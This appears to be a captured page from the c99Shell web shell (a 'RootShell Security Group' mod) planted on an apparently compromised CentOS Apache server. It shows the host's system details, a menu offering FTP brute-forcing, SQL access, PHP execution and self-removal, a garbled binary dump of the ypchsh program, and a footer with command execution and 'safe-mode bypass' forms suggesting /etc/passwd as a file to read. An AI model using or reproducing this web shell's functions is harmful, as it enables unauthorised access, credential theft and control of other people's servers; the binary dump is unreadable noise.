!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/bin/   drwxr-xr-x
Free 52.27 GB of 127.8 GB (40.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ypchsh (22.46 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
ELF4U4 (444444XIXIXIXX@@lIllHHH  PtdG\\Qtd/lib/ld-linux.so.2GNU	4i"47;|Ŕ
lD)4JK8gUa3I,gczDgo  @gE<?qEdNSzwvIG<LX"`o# CQ,<iR 8@229]%W@`a}[82M[8M[dQM:Mq5.Џ菎^^^^^_84_8_<_L_h______̿п0Կؿܿٳ ii
{8 ii
{qi	ii
ii
ti	ii
{D;9:6TX\`dhlpt
x|
47 !"5#$%&'()*+,-./01 2$3U05L%P%Th%Xh%\h%`h%dh %hh(%lh0%ph8p%th@`%xhHP%|hP@%hX0%h` %hh%hp%hx%h%h%h%h%h%h%h%hp%h`%hP%h@%h0%h %h%h%h%h%h%h%h%h %h(%h0%h8p%h@`%hHP%hP@%hX0%h` %hh%hp%hx%h%h%h% h%$h1^PTRhphQVhUS[ØKtX[ÐUS=u?d-`X9v&`9w[]Ít&'Uhtt	$hÐUt	]Í&]É'U(uƉ}ω]UtC,t<u;GD$Et$$"ED8؋u]}]Étŀ,ttꍴ&USÃD$D$@$k\$$[]É'USÃD$D$V$+\$$[]É'USÃD$D$h$\$$o[]É'UWVS,D$E$ln~M1t&?;U9t2uIdEEƒ?%Ӄ~NU?59u΋E8t4$,[^_]ÍED$D$4$uf?.{t&UWVSɋ]ET$t$D$~$$$D$ED$D$
$t:twytwD$:$1҅tAD$D$$DUD$T$D$$[^_]Ðt&t$$tx넾yUWVSˁlD$D$eU1D$$uۉe$]=D$$NjDžDžDž$4$bXL$T$T$D$$D$`D$D$<$4$
W)ċ|$/<$D$D$8$EZ
=/tn8t8‰j8u.Y&8H8>82u1ft&$1Rpass@wd.b@ynamf@e
D$D$$!D$D$ZD$$1Ue30e[^_]ÍD$$É$<:6	
=tT8A8Љ78ȉ򈍶u#&888
u1$n:t'‰D$$t[D$D$
D$$ۣt'‰D$$tD$D$
D$$ۣt'‰D$$.t$ۣt'‰D$$t\$dۣt'‰D$$t$P $RC$P($tz88uz8r8fu/8ؐщ8u88vwuh$D$% D$D$
D$$$D$D$D$
D$$v$D$$$D$$$D$mHNjt58a8uT8L8Bu17&ED$D$D$D$D$$=7$=[$
1[pass@wd.b@yuid@<t&=8D$$xBD$$
9D$<$d^MBQD$D$
D$$Et;88ut&88fu1=Njt\tM8w8m8u%^8V8L8@u1҉D$D$
D$$Bt\tM88:u%88:u1҉"D$D$
D$$t\tM808&:u%88:u1҉$t_tP88:u(88f:u1҉$ۣtQ88:u)rf8h8f\:Pu1EQD$D$
D$$tCt*8t(8ut&8t8tu1Q$tDt+8t)8ut&8t8tu1Q$ۣz8t'8u8t8ȍvtu1B/4$D$bQ$/D$D$$#D$D$ؼ$D$D$˼$D$D$$D$D$$yD$D$$~XD$D$$]7D$D$$<D$D$$$$
D$1QQvQ^QTt&L$qUWVSQH!IeU1DžhD$$D$$D$ $2$2j$$	D$/$t	;DžDžDž`Dž`Lt$D$`D$|$$?vnfue35-eY[^_]aÍvIYlpfuDž?2D$D$p$r\$$D$D$$D\$$D$D$$\$$D$D$H$\$$l1t&=BDžDž&f]RD$D$$@\$$D$D$$\$$D$D$$\$$hD$D$D?Džx1r'^D$D$DžD$ND$2D$RD$T$$D$D$l$D$^D$D$$1$1S1DDžDž8)Ѕu
Dž~u;D$D$($L$L$D$D$$1ۍh$tZ${D$D$`$\$|$눋Bul:\D$D$h$ItV$D$D$$\$T$D$D$D$\$=\d
hى$;Yt~D$D$$*D$t$D$$\D$D$$\$L$1<󫋕BD@BHBLBPBTBDž<XD$D$X$F\$D$L$D$$C8;PD$^D$$D$D$D$$D$J$$$!)č\$/f##SC$D$~󦋵(…‰t%::B1$$<CnD$D$$\$$T$D${_D$D$*$LD$4$‹"tc\D$D$$\$\$Dž;~4$XD$<D$D$$ZdDžd_T$t$D$L$D$@D$pD$<$Ƌ

d	D$D$$\$$UD$D$$T$D$D$$vP $RG<$PV1dED$D$c$8|$T$*\$$$7
a
HƉA)ĉT$\$/B$D$3\$$$9\$$MD$D$$yD$D$$PGdD$D$$\$$D$D$$T$BD$D$$\$^D$D$D$$D$#D$D$ $Z\$n$t$hD$@D$G$D$cƅmD$D$$`$D$‹jډbD$D$$D$<$‹V0lډ*D$D$$,d$D$‹nډfD$D$$D$4$‹~dt$`\$n|$t$D$D$D$$$x,Pu:,t$Pw$D$D$$\$$|$D$DžD$D$Ƚ$$8D$D$$Ɓ$D$D$$$.\$$=D$D$$\$$p311Dž, 5Dž,thtD p tY,uыDP,lӋP
Qы<P	녋,tu0t"tD$D$TvA8??tW(t&Vt.Yt Ë(ҋ;tDž
Dž4$b\9wE50Ћ;yt9vȃt"tD$D$ivD$D$6$$D$$]u\$$$DQD$$D$
D$F$q+D$D$D$D$$$D$bEE$1$]/D$D$$X$D$X/cD$D$<$L$D$D$$P $RG<$PqD$D$$D$D$$L$냉4$3r4$&}dDD$D$,$3\$$D$D$T$L$]dD$D$H$\$$HD$D$p$\$68V
1ҋD:
9tr
JUD$D$$ t$	D$D$$\$4$4$
u 1T0
9t9uP=u)1T8
9t9t9u fD$
$p
Ha

MU]]uuD$\$4$u1]u]ÍCD$D$4$tٍCD$D$4$xtCD$4$UtCD$4$BtCD$D$4$7yCD$D$4$ZCD$D$4$8U]Ít&'UWVS^ýoE)E}Ut+1ƍED$ED$E$9}u߃[^_]Ë$ÐUSXXtЋu[]US[$Y[Usage: ypchfn [User]
Usage: ypchsh [User]
/dev/urandomnone%s [%s]: udp%dNo moreTrueFalseNo such mapNo such domainBad operationDatabase badBad argumentsVersion MismatchUnknown errorpasswd.bynamepasswd.byuid/usr/share/localeyp-toolsypchshypchfnflp?2.9%s (%s) %s
1998%s: unknown user (uid=%ld).
Please enter root password:old Please enter %spassword:$1$xSorry.
Please enter new password:Password unchanged.
NameLocationOffice PhoneHome Phone%s,%s,%s,%sLogin shellPlease retype new password:versionusagehelpUsage: yppasswd [-f] [-l] [-p] [User]
%s: no colons allowed in GECOS field... sorry.
ypchsh - change the shell in the NIS database

  -?, --help     Give this help list
      --usage    Give a short usage message
      --version  Print program version
ypchfn - change the GECOS information in the NIS database

yppasswd - change your password in the NIS database

  -f             Change GECOS field information
  -l             Change the login shell
  -p             Change the password
Copyright (C) %s Thorsten Kukuk.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Try `%s --help' or `%s --usage' for more information.
%s: can't get local yp domain: %s
%s: can't find the master ypserver: %s
%s: yppasswdd not running on NIS master host ("%s").
%s: yppasswd daemon running on illegal port ("%s").
%s: Only root may change account information for others
Changing NIS account information for %s on %s.
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789./Changing NIS password for %s on %s.
Too many tries. Aborted.
Password unchanged.
The password must have at least 6 characters.
The password must have both upper and lowercase letters, or non-letters.
You cannot reuse the old password.
Please don't use something like your username as password.
Mismatch - password unchanged.

Changing full name for %s on %s.
To accept the default, simply press return. To enter an empty
field, type the word "none".

Changing login shell for %s on %s.
To accept the default, simply press return. To use the
system's default shell, type the word "none".
Error while changing the NIS password.
The NIS password has not been changed on %s.


The NIS password has been changed on %s.

Error while changing the GECOS information.
The GECOS information has not been changed on %s.


The GECOS information has been changed on %s.

Error while changing the login shell.
The login shell has not been changed on %s.


The login shell has been changed on %s.

Error while changing the NIS account information.
The NIS account information has not been changed on %s.


The NIS account information has been changed on %s.

acĠc'Hi;X
ph( @H`|`AD
 0AB
FEET7AB
ApP7AB
A7AB
AАAB
AG AB
BF<AB
C(|D	FAB
D4pAB
FF8
oh
H`8(ooooloPool6ɲbP @:Dò0@E`oippٳopkA5<h 0ip0p4j` `JCpٿК@<]>RZ`?`e ddlibcrypt.so.1__gmon_start___Jv_RegisterClassescryptlibnsl.so.1yperr_stringyp_masterxdr_ypreq_keyyp_get_default_domainxdr_ypresp_vallibc.so.6_IO_stdin_usedfflushstrcpy__printf_chksetlocalestrncmpoptindstrrchrauthunix_create_default__strdupdcgettextstrncpytime__stack_chk_failabortstdinstrspnfgetscallocstrlenreadgetrpcportclnt_perrno__fprintf_chkstdoutfputcfputsxdr_string__strtol_internalmallocgetpassxdr_int__ctype_b_locstderr__snprintf_chkgetuidgetopt_long__strsep_gsrandomcloseopenstrchrclnt_create__ctype_tolower_loc__sprintf_chkbindtextdomainstrcmp__libc_start_mainfreeGLIBC_2.0GLIBC_2.1.1GLIBC_2.4GLIBC_2.3GLIBC_2.3.4/lib/ld-linux.so.2ypchsh.debugB+|ELF4L4 (444444XIXIXIXXH|lIllHHH  PtdG\\Qtd44HH !ohhD+3ll;oxHoW	88	(`	``	id  `o-u<{44<tG\HTXXI``IhhIllIDDJHHJ@@K` K4KK.shstrtab.interp.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.eh_frame_hdr.eh_frame.ctors.dtors.jcr.dynamic.got.got.plt.data.bss.gnu_debuglink.dynbss.gnu.liblist.gnu.conflict.gnu.prelink_undo44HH !ohhD+ollP;oxHoW	88	(`	``	id  `o-u<{44<tG\HTXXI``IhhIllIDDJHHJ@@K` KK$3KNNDS

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0065 ]--